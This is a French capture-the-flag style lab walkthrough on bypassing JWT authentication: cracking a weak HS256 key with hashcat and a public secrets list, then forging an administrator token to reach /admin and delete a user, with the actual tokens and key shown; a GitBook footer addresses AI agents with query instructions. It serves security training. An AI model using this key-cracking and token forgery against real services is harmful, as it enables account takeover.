> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# Contournement de l’authentification JWT avec une clé faible

### Contournement de l’authentification JWT via une clé de signature faible

**Description du laboratoire**

Ce labo utilise un mécanisme de session basé sur JWT. / La clé secrète utilisée pour **signer et vérifier les jetons est extrêmement faible**, permettant au **être cassée facilement** en utilisant une liste de secrets courants.

Objectif :

* Trouvez la clé secrète utilisée par le serveur. \*Forger un JWT valide avec cette clé pour accéder au `/admin` panneau d'administration.
* Supprimer l'utilisateur **carlos**.

Identifiants fournis :/ `wiener:peter`

\*\* JWT initial récupéré\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

Il est observé que l'algorithme utilisé est **HS256**, donc un **algorithme symétrique** basé sur un secret partagé.

**Force brute de la clé secrète**

Nous utilisons une liste de secrets JWT courants :

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

Puis lancez l'attaque par force brute avec **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="/files/3fedaa63acc165c016f084fd449254a77e1d3c9f" alt=""><figcaption></figcaption></figure>

Résultat :

* Clé secrète trouvée : **`secret1`**

<figure><img src="/files/411c1616d20a9b57ceb25c6b06ac855ce4e7580d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eceb82b2cecc6ccb356ebec21ac487d2075e025e" alt=""><figcaption></figcaption></figure>

**Préparation de la clé pour la signature**

Le **L'extension JWT Editor** attend la clé au format Base64.

Encodage de la clé :

```bash
c2VjcmV0MQ==
```

<figure><img src="/files/9ec5e6ee5b2cfc62ca059c30124680e0f7e1b904" alt=""><figcaption></figcaption></figure>

Création d'une clé symétrique dans JWT Editor :

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="/files/7cbda6b8b21471e117eaef8fcee9d25bff0b90ca" alt=""><figcaption></figcaption></figure>

Un identifiant de clé (`kid`) est ensuite généré et utilisé pour signer le jeton.

<figure><img src="/files/cb03fd72d101f9e6db077c1e5f51d5e811387213" alt=""><figcaption></figcaption></figure>

**Modification du JWT**

* Interception de la requête contenant le JWT.
* Modifiez le `sub` champ :
* `wiener` → `administrateur`

<figure><img src="/files/8f91c75e8d4ff798f1fdcf775b747c6d48768b23" alt=""><figcaption></figcaption></figure>

Resignature du jeton avec la clé secrète trouvée

<figure><img src="/files/21758b55521bd14c2c91ac51331e6b6239cf1559" alt=""><figcaption></figcaption></figure>

JWT forgé final :

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**Résultat**

* Le serveur accepte le JWT signé avec la clé faible.
* Accès réussi au `/admin` panneau.
* L'utilisateur est reconnu comme \*\* administrateur\*\*.
* Le labo est validé après suppression de l'utilisateur **carlos**.

<figure><img src="/files/16c2cf8bae3898ea73e4f42c46519368a77307b8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
